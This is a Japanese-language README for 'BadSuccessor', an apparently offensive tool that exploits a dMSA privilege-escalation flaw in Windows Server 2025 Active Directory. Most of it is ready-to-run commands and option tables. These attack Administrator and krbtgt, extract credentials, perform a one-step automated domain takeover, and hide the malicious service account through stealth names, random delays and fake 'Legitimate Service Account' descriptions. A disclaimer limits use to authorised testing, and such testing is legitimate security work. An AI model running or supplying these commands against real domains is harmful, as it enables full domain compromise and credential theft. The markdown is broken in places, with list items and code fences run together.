
Windows Server 2025のdMSA権限昇格の脆弱性を悪用して、書き込み可能なOUを列挙し、任意のドメインユーザーへ権限昇格し、資格情報を抽出して、許可されたADセキュリティ評価においてドメイン乗っ取りを可能にします。
Windows Server 2025 Active Directory 環境における dMSA(委任管理サービスアカウント)権限昇格の脆弱性を悪用するペネトレーションテストツール。
このツールは、許可を得たペネトレーションテストおよびセキュリティ研究目的のみで使用すること。 明示的な書面による許可なくシステムに対してこのツールを使用することは、違法かつ非倫理的です。作者は、このツールの誤用または損害について一切の責任を負いません。
重要:このツールは活発に開発およびテスト中です。
セキュリティコミュニティの皆様に以下を推奨します:
このツールを使用することにより、本ツールが活発に開発中であり、特定の環境に応じた修正が必要になる可能性があることを承認したものとみなされます。
BadSuccessor は、Windows Server 2025 の委任管理サービスアカウント(dMSA)機能における権限昇格の脆弱性を悪用します。この脆弱性により、最小限の権限しか持たない攻撃者が、ドメイン管理者を含むドメイン内の任意のユーザーへ権限を昇格させることが可能になります。
このツールは、Akamai Technologies の Yuval Gordon 氏による優れた研究に基づいています:
この脆弱性は dMSA 移行プロセスに存在し、以下の手順で発生します:
msDS-ManagedAccountPrecededByLink または ms-DS-Managed-Account-Preceded-By-Link を対象ユーザーを指すように設定しますmsDS-DelegatedMSAState または ms-DS-Delegated-MSA-State を 2(移行完了)に設定しますさらに、KERB-DMSA-KEY-PACKAGE 構造には対象ユーザーのパスワードキーが含まれており、資格情報の抽出が可能になります。
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**注記**: このツールは impacket 0.12.0 でテストされています。バージョン互換性の警告は実行時に表示されます。
### 任意の依存関係```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild 権限Write 権限GenericWrite 権限GenericAll 権限git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### クイックスタート例
#### 1. ドライラン モード (新機能) - 変更を加えずにテスト```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. 攻撃を実行```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. セッション管理 (新規)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### コマンドラインオプション
#### 認証引数
| オプション | 説明 |
|--------|-------------|
| `-d, --domain` | 対象ドメイン(例: corp.local)**[必須]** |
| `-u, --username` | 認証用ユーザー名 **[必須]** |
| `-p, --password` | 認証用パスワード |
| `--dc-ip` | ドメインコントローラのIP(省略時は自動検出) |
| `--ldaps` | ポート636でLDAPS(SSL)接続を強制 |
#### 攻撃モード
| オプション | 説明 |
|--------|-------------|
| `--attack` | BadSuccessor攻撃を実行 |
| `--dry-run` | **新機能**: 変更を行わずに攻撃をシミュレート |
| `--extract-creds` | キーパッケージを使用して資格情報を抽出 |
| `--auto-pwn` | 完全自動化されたドメイン乗っ取り |
#### ターゲット指定
| オプション | 説明 |
|--------|-------------|
| `--target` | 権限を昇格させる対象ユーザー |
| `--targets` | 資格情報抽出のためのユーザー一覧(カンマ区切り) |
| `--validate-target` | **新機能**: 攻撃せずにターゲットアカウントを検証 |
#### dMSA構成
| オプション | 説明 |
|--------|-------------|
| `--dmsa-name` | 悪意のあるdMSAの名前(未指定の場合は自動生成) |
| `--dmsa-pattern` | **新機能**: dMSA命名のパターン(例: "svc{random}{target}") |
| `--ou-dn` | 使用する特定のOU DN(未指定の場合は自動検出) |
| `--dmsa-description` | **新機能**: 作成するdMSAの説明 |
| `--dmsa-display-name` | **新機能**: 作成するdMSAの表示名 |
#### 列挙オプション
| オプション | 説明 |
|--------|-------------|
| `--enumerate` | 任意の書き込み権限を持つOUを列挙 |
| `--list-targets` | 高価値ターゲットを一覧表示 |
| `--check-schema` | Windows Server 2025スキーマを検証 |
#### セッション管理(新機能)
| オプション | 説明 |
|--------|-------------|
| `--session-id` | 既存のセッションを再開 |
| `--list-sessions` | 利用可能な全セッションを一覧表示 |
| `--cleanup-session SESSION_ID` | セッションからすべてのdMSAをクリーンアップ |
#### クリーンアップオプション
| オプション | 説明 |
|--------|-------------|
| `--cleanup` | 作成したdMSAを削除 |
| `--dmsa-dn` | クリーンアップ操作のためのdMSA DN |
| `--cleanup-all` | **新機能**: 現在のセッションからすべてのdMSAをクリーンアップ |
#### 出力オプション
| オプション | 説明 |
|--------|-------------|
| `--export-json FILE` | **新機能**: 結果をJSONファイルにエクスポート |
| `--export-csv FILE` | **新機能**: 結果をCSVファイルにエクスポート |
| `--export-html FILE` | **新機能**: HTMLレポートを生成 |
| `--no-banner` | バナー出力を抑制 |
| `--verbose` | 詳細出力を有効化 |